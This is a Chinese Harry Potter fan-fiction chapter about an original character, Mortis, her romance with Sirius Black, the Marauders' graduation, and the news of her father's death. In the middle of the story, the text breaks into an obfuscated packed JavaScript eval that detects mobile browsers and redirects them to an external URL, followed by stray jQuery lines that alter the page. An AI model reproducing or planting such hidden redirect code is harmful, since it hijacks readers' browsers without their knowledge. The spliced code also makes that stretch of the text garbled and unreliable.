日子像是终于沉淀下来了。
那些惊心动魄、怦然心动、炽热燃烧的瞬间,那些跌宕起伏的情节,如今回想起来,恍如一场遥远的梦。梦醒之后,留下的是平静得近乎透明的日常。
掠夺者四人组不再四处游荡,不再在走廊里制造骚乱。他们升入了七年级,所有的精力都倾注在NEWT备考上。大多数时候,他们只是安静地坐在公共休息室的角落里,埋首于堆积如山的羊皮卷轴中,偶尔抬头交换一个疲惫的眼神。
莫提斯继续着她的四年级课业。为了追赶什么——也许是追赶自己,也许是追赶那个人——她开始偷偷练习高年级的魔咒。有时在公共休息室的角落,魔杖尖端迸出的火花会照亮她专注的眉眼。
有人在走廊里拦住她,提起圣诞舞会,语气里带着刺。可她还没来得及抬起魔杖,挑衅的人已经被不知从哪里冒出来的力量拖走了。等她回过神,走廊空空荡荡,只剩下回响在石壁上的脚步声渐渐远去。
魔药课需要什么稀有材料,总会有猫头鹰准时出现在公共休息室的窗前。有一次,包裹里甚至夹着一片火蜥蜴的皮——那是只有禁林深处才有的东西,还带着温热。
夜深人静时,她在公共休息室挑灯夜读。偶尔,从高塔下方的黑暗中,会传来几声低沉的犬吠。那声音刻意压抑着,很快就被城堡沉睡的呼吸吞没。
小天狼星没有再刻意出现在她面前。可她知道,他从未真正离开。
只是,每当她下定决心去找他时,他总是不在。詹姆和莉莉也不在。没有人知道他们去了哪里,城堡的墙壁沉默着,守住了所有秘密。
这个学期走得很快。NEWT考试在复活节前结束,七年级的学生们陆续收拾行装,许多人不会再回来。
毕业那天,她看见他们站在城堡门外——掠夺者四人组和莉莉。阳光正好,洒在他们年轻的肩头。
“莫提斯!”莉莉远远地招手。
小天狼星回过头。
那一瞬间,隔着人群,他们的目光相遇了。他看起来很紧张,可眼底有光在微微颤抖。
圣诞之后,他们几乎没再说过话。他虽然偷偷送过很多东西,帮她挡过很多麻烦,可两人像是被一层看不见的薄雾隔开了。她埋头追赶自己的学业,他忙得不见踪影。
可莫提斯知道,他一直都在。就像星光,即使被云遮住,也从未离开过夜空。
她走上前,站在他面前。
“我们拍张合照吧。”她说,“这么久了,居然一张都没有。”
莉莉拿出麻瓜相机,笑着指挥他们站近些。
小天狼星站得笔直,表情比面对麦格教授还严肃。阳光把他的黑发染成深褐色,风轻轻吹起他的衣角。
“准备好了吗?三、二、一——”
快门即将按下的刹那,莫提斯忽然伸出手,轻轻扯起他的嘴角。
他的脸上绽开一个被拉大的笑容,有几分滑稽,有几分傻气,却又是那么真实。
底片上定格的,是他怔怔望着她的眼神。
离开城堡的前一天晚上,小天狼星来找她。
他把一样东西放进她掌心——一枚黑曜石戒指,戒面雕成鸢尾花的形状,在月光下泛着幽深的光泽。
“圣诞舞会那天就该给你的。”他的声音很轻,像是怕惊扰了什么,“对不起,总是想给你惊喜,却总是搞砸。”
这句话,这半年来他反复说过很多次。每次见面,说得最多的就是这句话。
“戒指送你。”他努力让语气显得轻松,“我不在的时候,如果有人想对你施恶咒,它能保护你。”
莫提斯把戒指套在右手中指。刚刚好。
如果戴在无名指,肯定会偏大。
原来从一开始,那场没有说出口的求婚就注定会有那么一点点的不合时宜。命运总是喜欢在细节里埋下伏笔。
她抬起右手,让月光在戒指上流转:“我收下了。谢谢。”
他悬着的心落下一半,双手抱在胸前,努力摆出从前那副胸有成竹的样子:“这个就先当普通礼物。等以后……等时机成熟了,再送你一个更好的。如果你还愿意接受的话。”
他顿了顿,没有说出那句话:莫提斯,等你毕业了,我们结婚。
不,还不是时候。
“再给我几年时间,可以多等我几年吗?”他只能把她紧紧拥进怀里,用力得像是要把她刻进骨血里。
莫提斯问:“几年?”
“三年?五年?可能更久。下次见面,不知是何时了。我不能让你担心。到时候如果我还有命在,咱们就……”莫提斯即使用手堵住他下面说的话。
不好听,不吉利。
“小天狼星,你听好了。”莫提斯捧着他脸,圣诞节后两人很少这般亲昵互动,“你要保证自己不出事。至于我,我会找到自救办法,在你回来找以前,肯定不死掉。”
小天狼星毕业后,像是从她的世界里消失了。
如果不是右手上那枚戒指还泛着微光,如果不是那张被扯出笑容的合影还夹在书页里,莫提斯几乎要怀疑他从未出现过。
五年级时,她收到一份巨大的礼物。没有署名,只有潇洒飘逸的字迹出卖了寄件人。
他写道:祝贺你进入拉文克劳魁地奇球队。
礼物是一套崭新的飞行装备,外加一本被翻得微微卷边的飞天扫帚保养手册。
OWLS考试结束,她除了魔咒考试紧张得手抖、只得了个E,其他全是O。
信又来了:祝贺你成为NEWT生。
这次是一把钥匙——对角巷里、奥利凡德魔杖店隔壁的那间小铺子。11号商铺,他买下来了。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17430648|200917||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她还记得自己曾经说过,毕业后想开一家甜品店,或者书屋。
他的信越来越简短,不再有那些细腻的情感流淌,也从不说自己在哪,在做什么。莫提斯寄出去的信,像是沉入了大海,从没有回音。
六年级开学第一天,分院帽唱了一首她从没听过的新歌:“团结一致,战胜黑暗。”
她望向教工席,教授们的脸上都紧绷着。邓布利多什么都没说,可空气里有什么东西正在悄悄改变。
黑暗的时代,已经来了。
那年暑假,莉莉的信终于寄到了。信封里夹着一张照片。
她和詹姆结婚了。小天狼星是伴郎。
两年了,莫提斯第一次看见他。他比毕业时更高了一些,也更瘦了,脸部的线条像被刀锋雕刻过,眉眼间带着从前没有的锋利。可在他最好朋友的婚礼上,他笑得那么开心,仿佛还是当年那个跟在詹姆身后、肆意张扬的少年。
婚礼很简单,低调得几乎不像一场婚礼。
莉莉在信末写道:伴娘的位置,永远是你的。
七年级,莫提斯以全优的成绩通过了NEWT考试。
最后一场魁地奇杯结束,她作为拉文克劳队长,把奖杯高高举起。奖杯上,除了詹姆·波特的名字,现在也刻上了她的——莫提斯·霍普森。
一个五年级的学妹跑来告诉她:“波特和伊万斯生了个男孩!我亲耳听见麦格教授跟邓布利多说的。”
莫提斯愣住了。莉莉结婚时给她寄了照片,为什么这么重要的事,反而没有写信告诉她?
她想起OWLS考试时收到的那封信,想起那把钥匙。可为什么,她毕业了,他的信却没有来?
离开城堡前的最后一个清晨,她走进大礼堂,准备吃最后一顿早餐。
一份《预言家日报》躺在她的座位上。
头版头条:
比尔·霍普森在伦敦自爆身亡,五名食死徒陪葬
下面还有一行小字:霍普森——黑魔王的忠诚仆人,还是勇敢反抗的英雄?
文章说,他从一本古籍里翻译出了失传的杀戮咒语。那个咒语被黑魔王掌握后,杀死了无数人。比尔·霍普森背负着这份罪孽,最终选择了用自己的生命,带走五个食死徒。
大礼堂里,无数道目光落在莫提斯身上。
“霍普森的父亲当过食死徒!”
“胡说!他用命干掉了五个食死徒,他是英雄!”
“可他翻译的咒语,是他亲手交给黑魔王的啊……”
……
莫提斯站在喧哗的中心,忽然什么都听不见了。
她低下头,看着右手中指上那枚黑曜石戒指。
鸢尾花在晨光中静静绽放,幽深如夜。
她想起来,鸢尾花的花语是——自由,以及“我等待着你。”